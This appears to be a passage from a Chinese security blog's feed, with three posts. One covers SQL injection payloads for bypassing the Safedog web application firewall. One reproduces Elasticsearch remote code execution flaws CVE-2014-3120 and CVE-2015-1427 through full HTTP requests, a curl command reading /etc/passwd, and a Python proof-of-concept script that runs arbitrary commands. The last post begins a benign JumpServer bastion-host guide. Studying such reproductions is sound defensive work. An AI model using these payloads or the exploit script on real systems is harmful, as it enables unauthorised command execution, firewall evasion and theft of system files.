class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1&apos;  || true%23         //将and 1=1替换为|| true,也可以绕过安全狗</span><br><span class="line">http://127.0.0.1/test.php?id=1&apos;   ||(1) %23 //使用括号代替空格绕过</span><br><span class="line">//异或逻辑运算符xor，运算法则是：两个条件相同（同真或同假）即为假（0），两个条件不同即为真（1）</span><br><span class="line">http://127.0.0.1/test.php?id=1&apos;  xor 1%23</span><br><span class="line">http://127.0.0.1/test.php?id=1&apos;  xor true%23</span><br></pre></td></tr></table></figure><h3 id="绕过order-by查询"><a href="#绕过order-by查询" class="headerlink" title="绕过order by查询"></a>绕过order by查询</h3><p>判断查询字段,使用mysql的<code>/*!*/</code> 内敛注释去绕过防护,而其中的代码是可以正常执行的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1&apos; /*!order*//*!by*/2%23</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1DkaRe2WG3KVjSZFgq6zTspXab.jpg" alt=""></p><h3 id="绕过union-select查询"><a href="#绕过union-select查询" class="headerlink" title="绕过union select查询"></a>绕过union select查询</h3><p>使用union xxx页面正常,</p><p><img src="https://ae01.alicdn.com/kf/HTB14rWSe.GF3KVjSZFoq6zmpFXay.jpg" alt=""></p><p>但是用union和select放在在一起就被发现啦</p><p><img src="https://ae01.alicdn.com/kf/HTB1h.jkbMFY.1VjSZFnq6AFHXXak.jpg" alt=""></p><p>在网上找了好一阵子,发现有大佬提供的payload使用正则表达式去绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1&apos;=/*!user () regexp 0x5e72*/--+</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1IdeUe.GF3KVjSZFvq6z_nXXaT.jpg" alt=""></p><ul><li>对于数字型注入,可以将其转换成浮点型</li><li>联合查询绕waf,%0a为换行符经过URL编码得到的,可以通过换行符进行绕过,</li><li>函数中可以插入任何混淆字符绕过waf</li><li>另外使用-1可以省去空格绕过waf</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,user--%0a()%23</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1CzORe3aH3KVjSZFjq6AFWpXa1.jpg" alt=""></p><p>基于报错信息的注入绕安全狗</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1&apos; and /*!12345updatexml!*/(1,concat(0x7e,version()))%23</span><br><span class="line">http://127.0.0.1/test.php?id=1&apos; and /*!12345extractvalue!*/(1,concat(0x7e,version()))%23</span><br></pre></td></tr></table></figure><h3 id="绕过select-from"><a href="#绕过select-from" class="headerlink" title="绕过select from"></a>绕过select from</h3><p>使用大括号去绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4From&#123;information_schema.tables&#125;</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1t6WTe75E3KVjSZFCq6zuzXXaI.jpg" alt=""></p><p>使用反引号去绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4 From`information_schema.tables`</span><br></pre></td></tr></table></figure><p>使用\N去绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,\Nfrom information_schema.tables</span><br></pre></td></tr></table></figure><p>括号法去绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,From(((information_schema.tables)))</span><br></pre></td></tr></table></figure><p>也可以组合起来</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4\Nfrom&#123;a`information_schema`.tables&#125;</span><br></pre></td></tr></table></figure><p>这些都是去掉空格的合法语句,当然如果不拦截/*<em>/或/</em>!*/的话,也可以尝试这两个</p><p>提示，安全狗默认不开启对information_schema的拦截，如果开启了，那么就得找支持post传递数据的注入点了，post下不拦截information_schema这个关键词。</p><p>补充点</p><p>php+mysql环境下支持的空格有：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%0a,%0b,%0c,%0d,%20,%09,%a0,/**/</span><br></pre></td></tr></table></figure><p>其中使用的最多的就是%0a,%0b,%a0,/**/，这四个当作空格插入在语句中来扰乱waf检测。</p><p>干货分享：使用/<em>^!$asd%2a–=</em>/代替空格即可，找到sqlmap中tamper目录下的space2plus.py文件，将其中代替空格的/*<em>/换成/</em>^!$asd%2a–=*/即可使用sqlmap跑了。</p><h3 id="缓冲区溢出绕waf"><a href="#缓冲区溢出绕waf" class="headerlink" title="缓冲区溢出绕waf"></a>缓冲区溢出绕waf</h3><p>另外也可以对安全狗实行缓冲区溢出绕waf</p><p>缓冲区溢出用于对WAF，有不少WAF是C写的，而C语言本身没有缓冲区保护机制，因此如果WAF在处理测试量时超出其缓冲区长度，就会引发bug从而实现绕过</p><p>要求是(针对于安全狗而已):</p><p>​    GET类型请求转换成POST类型</p><p>​    Content-Length头长度大于4008</p><p>​    正常参数放置在脏数据后面</p><p><img src="https://ae01.alicdn.com/kf/HTB1P4GVe8WD3KVjSZKPq6yp7FXa6.jpg" alt=""></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="绕waf" scheme="https://louisnie.github.io/categories/%E7%BB%95waf/"/>
    
    
      <category term="绕安全狗" scheme="https://louisnie.github.io/tags/%E7%BB%95%E5%AE%89%E5%85%A8%E7%8B%97/"/>
    
  </entry>
  
  <entry>
    <title>ElasticSearch命令执行漏洞复现</title>
    <link href="https://louisnie.github.io/2019/07/03/elasticsearch%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/"/>
    <id>https://louisnie.github.io/2019/07/03/elasticsearch命令执行漏洞/</id>
    <published>2019-07-03T08:01:28.000Z</published>
    <updated>2019-07-03T10:23:13.776Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">只有自己强大优秀，面对真挚的感情时才不会唯唯诺诺。</blockquote></p><p><div class="aplayer" data-id="26418130" data-server="netease" data-type="song" data-mode="single"></div></p><h1 id="ElasticSearch-命令执行漏洞（CVE-2014-3120）"><a href="#ElasticSearch-命令执行漏洞（CVE-2014-3120）" class="headerlink" title="ElasticSearch 命令执行漏洞（CVE-2014-3120）"></a>ElasticSearch 命令执行漏洞（CVE-2014-3120）</h1><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介:"></a>漏洞简介:</h2><p>Elasticsearch是一个高度可扩展的开源全文搜索和分析引擎。它允许您快速，近实时地存储，搜索和分析大量数据。它通常用作底层引擎/技术，为具有复杂搜索功能和要求的应用程序提供支持。</p><p>ElasticSearch其有脚本执行(scripting)的功能，可以很方便地对查询出来的数据再加工处理。但其用的脚本引擎是MVEL，这个引擎没有做任何的防护，或者沙盒包装，所以直接可以执行任意代码。</p><p>而在ElasticSearch里，默认配置是打开动态脚本功能的，因此用户可以直接通过http请求，执行任意代码。</p><p>其实官方是清楚这个漏洞的，在文档里有说明：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.</span><br><span class="line"></span><br><span class="line">首先,不应以 root 用户身份运行 Elasticsearch,因为这将允许脚本访问或执行服务器上的任何操作,不受限制。其次,不应直接向用户公开弹性搜索,而应在中间有一个代理应用程序。</span><br></pre></td></tr></table></figure><p>MVEL执行命令的代码如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">import java.io.*;</span><br><span class="line">new java.util.Scanner(Runtime.getRuntime().exec(&quot;id&quot;).getInputStream()).useDelimiter(&quot;\\A&quot;).next();</span><br></pre></td></tr></table></figure><h2 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本:"></a>影响版本:</h2><p>ElasticSearch 1.2及其之前的版本</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现:"></a>漏洞复现:</h2><p>首先判断其目标系统存在elasticsearch,其版本为1.1.1</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# curl http://192.168.15.130:9200</span><br><span class="line">&#123;</span><br><span class="line">  &quot;status&quot; : 200,</span><br><span class="line">  &quot;name&quot; : &quot;Jack of Hearts&quot;,</span><br><span class="line">  &quot;version&quot; : &#123;</span><br><span class="line">    &quot;number&quot; : &quot;1.1.1&quot;,</span><br><span class="line">    &quot;build_hash&quot; : &quot;f1585f096d3f3985e73456debdc1a0745f512bbc&quot;,</span><br><span class="line">    &quot;build_timestamp&quot; : &quot;2014-04-16T14:27:12Z&quot;,</span><br><span class="line">    &quot;build_snapshot&quot; : false,</span><br><span class="line">    &quot;lucene_version&quot; : &quot;4.7&quot;</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;tagline&quot; : &quot;You Know, for Search&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为该漏洞需要es中至少存在一条数据，所以我们需要先创建一条数据：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">POST /website/blog/ HTTP/1.1</span><br><span class="line">Host: 192.168.15.130:9200</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 25</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">  &quot;name&quot;: &quot;phithon&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1zYVUdQxz61VjSZFr760eLFXak.png" alt=""></p><p>然后，插入payload去执行代码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">POST /_search?pretty HTTP/1.1</span><br><span class="line">Host: 192.168.15.130:9200</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 343</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    &quot;size&quot;: 1,</span><br><span class="line">    &quot;query&quot;: &#123;</span><br><span class="line">      &quot;filtered&quot;: &#123;</span><br><span class="line">        &quot;query&quot;: &#123;</span><br><span class="line">          &quot;match_all&quot;: &#123;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    &quot;script_fields&quot;: &#123;</span><br><span class="line">        &quot;command&quot;: &#123;</span><br><span class="line">            &quot;script&quot;: &quot;import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\&quot;id\&quot;).getInputStream()).useDelimiter(\&quot;\\\\A\&quot;).next();&quot;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1pah8e.GF3KVjSZFo762mpFXaO.png" alt=""></p><h2 id="修复方法"><a href="#修复方法" class="headerlink" title="修复方法"></a>修复方法</h2><p>1.关掉执行脚本功能，在配置文件elasticsearch.yml里为每一个结点都加上：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">script.disable_dynamic: <span class="keyword">true</span></span><br></pre></td></tr></table></figure><p>2.升级到最新系统</p><h1 id="ElasticSearch-Groovy-沙盒绕过-amp-amp-代码执行漏洞（CVE-2015-1427）"><a href="#ElasticSearch-Groovy-沙盒绕过-amp-amp-代码执行漏洞（CVE-2015-1427）" class="headerlink" title="ElasticSearch Groovy 沙盒绕过 &amp;&amp; 代码执行漏洞（CVE-2015-1427）"></a>ElasticSearch Groovy 沙盒绕过 &amp;&amp; 代码执行漏洞（CVE-2015-1427）</h1><h2 id="漏洞背景"><a href="#漏洞背景" class="headerlink" title="漏洞背景:"></a>漏洞背景:</h2><p>在2014年爆出的(CVE-2014-3120)漏洞，漏洞产生的原因是由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作，攻击者可以通过MVEL构造执行任意Java代码，后来脚本语言引擎换成了Groovy，并且加入了沙盒进行控制，危险的代码会被拦截，结果这次由于沙盒限制的不严格，导致远程代码执行,也即是我们这次复现的漏洞:ElasticSearch Groovy 沙盒绕过 &amp;&amp; 代码执行漏洞（CVE-2015-1427）。</p><h2 id="影响版本-1"><a href="#影响版本-1" class="headerlink" title="影响版本:"></a>影响版本:</h2><p>影响版本是Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。</p><p>这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。</p><p>目前已修复的版本是Elasticsearch 1.3.8 和 1.4.3，建议用户更新到最新版本。</p><h2 id="漏洞复现-1"><a href="#漏洞复现-1" class="headerlink" title="漏洞复现:"></a>漏洞复现:</h2><h3 id="攻击思路"><a href="#攻击思路" class="headerlink" title="攻击思路:"></a>攻击思路:</h3><p>ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本，但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法：</p><ol><li>既然对执行Java代码有沙盒，lupin的方法是想办法绕过沙盒，比如使用Java反射</li><li>Groovy原本也是一门语言，于是tang3另辟蹊径，使用Groovy语言支持的方法，来直接执行命令，无需使用Java语言</li></ol><p>所以，根据这两种执行漏洞的思路，我们可以获得两个不同的POC。</p><p>Java沙盒绕过法：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java.lang.Math.class.forName(&quot;java.lang.Runtime&quot;).getRuntime().exec(&quot;id&quot;).getText()</span><br></pre></td></tr></table></figure><p>Goovy直接执行命令法：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">def command=&apos;id&apos;;def res=command.execute().text;res</span><br></pre></td></tr></table></figure><h3 id="漏洞测试"><a href="#漏洞测试" class="headerlink" title="漏洞测试:"></a>漏洞测试:</h3><p>首先先判断目标系统的elasticsearch是否可以正常访问</p><p><img src="https://ae01.alicdn.com/kf/HTB1vBNZe9SD3KVjSZFK76210VXaB.png" alt=""></p><p>由于查询时至少要求es中有一条数据，所以我们发送如下数据包，增加一个数据：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">POST /website/blog/ HTTP/1.1</span><br><span class="line">Host: 192.168.15.130:9200</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 25</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">  &quot;name&quot;: &quot;test&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1eDNLdQxz61VjSZFt761DSVXag.png" alt=""></p><p>然后发送包含payload的数据包，执行任意命令：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">POST /_search?pretty HTTP/1.1</span><br><span class="line">Host: 192.168.15.130:9200</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: application/text</span><br><span class="line">Content-Length: 156</span><br><span class="line"></span><br><span class="line">&#123;&quot;size&quot;:1, &quot;script_fields&quot;: &#123;&quot;lupin&quot;:&#123;&quot;lang&quot;:&quot;groovy&quot;,&quot;script&quot;: &quot;java.lang.Math.class.forName(\&quot;java.lang.Runtime\&quot;).getRuntime().exec(\&quot;id\&quot;).getText()&quot;&#125;&#125;&#125;</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1CEd7eW1s3KVjSZFA760_ZXXar.png" alt=""></p><p>也可以使用火狐的插件hackbar去发送post数据包实现命令执行</p><p><img src="https://ae01.alicdn.com/kf/HTB15fN5e8Kw3KVjSZFO761rDVXaV.png" alt=""></p><p>或者使用curl去发送数据包实现命令执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -XPOST http://ip:9200/_search?pretty=true -d &apos;&#123;&quot;size&quot;:1,&quot;script_fields&quot;: &#123;&quot;test#&quot;: &#123;&quot;script&quot;:&quot;java.lang.Math.class.forName(\&quot;java.io.BufferedReader\&quot;).getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\&quot;java.io.InputStreamReader\&quot;).getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\&quot;java.lang.Runtime\&quot;).getRuntime().exec(\&quot;cat /etc/passwd\&quot;).getInputStream())).readLines()&quot;,&quot;lang&quot;: &quot;groovy&quot;&#125;&#125;&#125;&apos;</span><br></pre></td></tr></table></figure><p>​        python编写的POC</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line">#-*-coding:utf-8-*-</span><br><span class="line">import urllib</span><br><span class="line">import urllib2</span><br><span class="line">import json</span><br><span class="line">import sys</span><br><span class="line">def execute(url,command):</span><br><span class="line">parameters = &#123;</span><br><span class="line">                &quot;size&quot;:1,</span><br><span class="line">                &quot;script_fields&quot;:</span><br><span class="line">                &#123;&quot;iswin&quot;:</span><br><span class="line">                        &#123;</span><br><span class="line">                            &quot;script&quot;:&quot;java.lang.Math.class.forName(\&quot;java.io.BufferedReader\&quot;).getConstructor(java.io.Reader.class).\newInstance(java.lang.Math.class.forName(\&quot;java.io.InputStreamReader\&quot;).getConstructor(java.io.InputStream.\class).newInstance(java.lang.Math.class.forName(\&quot;java.lang.Runtime\&quot;).getRuntime().exec(\&quot;%s\&quot;).\getInputStream())).readLines()&quot; % command,</span><br><span class="line">                            &quot;lang&quot;: &quot;groovy&quot;</span><br><span class="line">                        &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">data = json.dumps(parameters)</span><br><span class="line">try:</span><br><span class="line">    request=urllib2.Request(url+&quot;_search?pretty&quot;,data)</span><br><span class="line">    request.add_header(&apos;User-Agent&apos;, &apos;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36&apos;)</span><br><span class="line">    response=urllib2.urlopen(request)</span><br><span class="line">    result = json.loads(response.read())[&quot;hits&quot;][&quot;hits&quot;][0][&quot;fields&quot;][&quot;iswin&quot;][0]</span><br><span class="line">for i in result:</span><br><span class="line">    print i</span><br><span class="line">except Exception, e:</span><br><span class="line">    print e</span><br><span class="line">if __name__ == &apos;__main__&apos;:</span><br><span class="line">    if len(sys.argv) != 3:</span><br><span class="line">        print &quot;usage %s url command&quot; % sys.argv[0]</span><br><span class="line">    else:</span><br><span class="line">        execute(sys.argv[1],sys.argv[2])</span><br></pre></td></tr></table></figure><p>用法:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python Elasticsearch.py target ifconfig</span><br><span class="line">python Elasticsearch.py target &apos;uname -a&apos;</span><br></pre></td></tr></table></figure><h2 id="修复方法-1"><a href="#修复方法-1" class="headerlink" title="修复方法:"></a>修复方法:</h2><p>关闭groovy沙盒以已停止动态脚本的使用：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">script.groovy.sandbox.enabled: false</span><br></pre></td></tr></table></figure><h3 id="安全建议"><a href="#安全建议" class="headerlink" title="安全建议:"></a>安全建议:</h3><ul><li>elasticsearch禁止向外网开放</li><li>elasticsearch在启动的时候以非root用户启动.</li><li>如果业务需要外网开放时,增加严格权限验证</li><li>关注官方动态,使用最新版本</li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="中间件漏洞" scheme="https://louisnie.github.io/categories/%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/"/>
    
    
      <category term="漏洞复现" scheme="https://louisnie.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
  </entry>
  
  <entry>
    <title>JumpServer运维堡垒机安装及实战</title>
    <link href="https://louisnie.github.io/2019/07/02/jumpserver/"/>
    <id>https://louisnie.github.io/2019/07/02/jumpserver/</id>
    <published>2019-07-01T17:45:28.000Z</published>
    <updated>2019-07-03T07:58:30.141Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">海纳百川，有容乃大；壁立千仞，无欲则刚!</blockquote></p><p><div class="aplayer" data-id="254265" data-server="netease" data-type="song" data-mode="single"></div></p><h2 id="需求分析"><a href="#需求分析" class="headerlink" title="需求分析"></a>需求分析</h2><p>随着企业信息化进程不断深入，企业的IT系统变得日益复杂，不同背景的运维人员违规操作导致的安全问题变得日益突出起来，主要表现在：内部人员操作的安全隐患、第三方维护人员安全隐患、高权限账号滥用风险、系统共享账号安全隐患、违规行为无法控制的风险。</p><p>运维操作过程是导致安全事件频发的主要环节，所以对运维操作过程的安全管控就显得极为重要。而防火墙、防病毒、入侵检测系统等常规的安全产品可以解决一部分安全问题，但对于运维人员的违规操作却无能为力。如何转换运维安全管控模式，降低人为安全风险，满足企业要求，是当下所面临的迫切需求。</p><h2 id="审计管理"><a href="#审计管理" class="headerlink" title="审计管理"></a>审计管理</h2><p>审计管理其实很简单，就是把用户的所有操作都纪录下来，以备日后的审计或者事故后的追责。在纪录用户操作的过程中有一个问题要注意，就是这个纪录对于操作用户来讲是不可见的，什么意思？就是指，无论用户愿不愿意，他的操作都会被纪录下来，并且，他自己如果不想操作被纪录下来，或想删除已纪录的内容，这些都是他做不到的，这就要求操作日志对用户来讲是不可见和不可访问的，那么我们就可以通过堡垒机就可以很好的实现。</p><blockquote><p>补充，跳板机和堡垒机得区别：</p><p>　　跳板机，只有跳转登录得功能。</p><p>如果跳板机提供了以下两条，叫做审计系统或堡垒机</p><ol><li>　　记录用户操作</li><li>　　实现了权限管理</li></ol></blockquote><p>堡垒要想成功完全记到他的作用，只靠堡垒机本身是不够的， 还需要一系列安全上对用户进行限制的配合，堡垒机部署上后，同时要确保你的网络达到以下条件：</p><ul><li>所有人包括运维、开发等任何需要访问业务系统的人员，只能通过堡垒机访问业务系统<ul><li>回收所有对业务系统的访问权限，做到除了堡垒机管理人员，没有人知道业务系统任何机器的登录密码</li><li>网络上限制所有人员只能通过堡垒机的跳转才能访问业务系统 </li></ul></li><li>确保除了堡垒机管理员之外，所有其它人对堡垒机本身无任何操作权限，只有一个登录跳转功能</li><li>确保用户的操作纪录不能被用户自己以任何方式获取到并篡改</li></ul><h2 id="堡垒机功能实现需求"><a href="#堡垒机功能实现需求" class="headerlink" title="堡垒机功能实现需求"></a>堡垒机功能实现需求</h2><p><strong>业务需求:</strong></p><ol><li>兼顾业务安全目标与用户体验，堡垒机部署后，不应使用户访问业务系统的访问变的复杂，否则工作将很难推进，因为没人喜欢改变现状，尤其是改变后生活变得更艰难</li><li>保证堡垒机稳定安全运行， 没有100%的把握，不要上线任何新系统，即使有100%把握，也要做好最坏的打算，想好故障预案</li></ol><p><strong>功能需求：</strong></p><ol><li><p>所有的用户操作日志要保留在数据库中</p></li><li><p>每个用户登录堡垒机后，只需要选择具体要访问的设置，就连接上了，不需要再输入目标机器的访问密码</p></li><li><p>允许用户对不同的目标设备有不同的访问权限，例:</p><p>​    对10.0.2.34 有mysql 用户的权限</p><p>​    对192.168.3.22 有root用户的权限</p><p>​    对172.33.24.55 没任何权限</p></li><li><p>分组管理，即可以对设置进行分组，允许用户访问某组机器，但对组里的不同机器依然有不同的访问权限　　</p></li></ol><h2 id="Jumpserver堡垒机"><a href="#Jumpserver堡垒机" class="headerlink" title="Jumpserver堡垒机"></a>Jumpserver堡垒机</h2><p>堡垒机的主要作用权限控制和用户行为审计，堡垒机就像一个城堡的大门，城堡里的所有建筑就是你不同的业务系统 ， 每个想进入城堡的人都必须经过城堡大门并经过大门守卫的授权，每个进入城堡的人必须且只能严格按守卫的分配进入指定的建筑，且每个建筑物还有自己的权限访问控制，不同级别的人可以到建筑物里不同楼层的访问级别也是不一样的。还有就是，每个进入城堡的人的所有行为和足迹都会被严格的监控和纪录下来，一旦发生犯罪事件，城堡管理人员就可以通过这些监控纪录来追踪责任人。 目前比较优秀的开源软件是jumpserver，认证、授权、审计、自动化、资产管理，适合中小型公司或服务器不多的情况。商业的堡垒机Citrix XenApp、齐治包括一些云机构提供的堡垒机这里不做记录。</p><h3 id="Jumpserver简介"><a href="#Jumpserver简介" class="headerlink" title="Jumpserver简介"></a>Jumpserver简介</h3><p>官网地址:<a href="http://www.jumpserver.org/" target="_blank" rel="noopener">http://www.jumpserver.org/</a></p><blockquote><p>Jumpserver 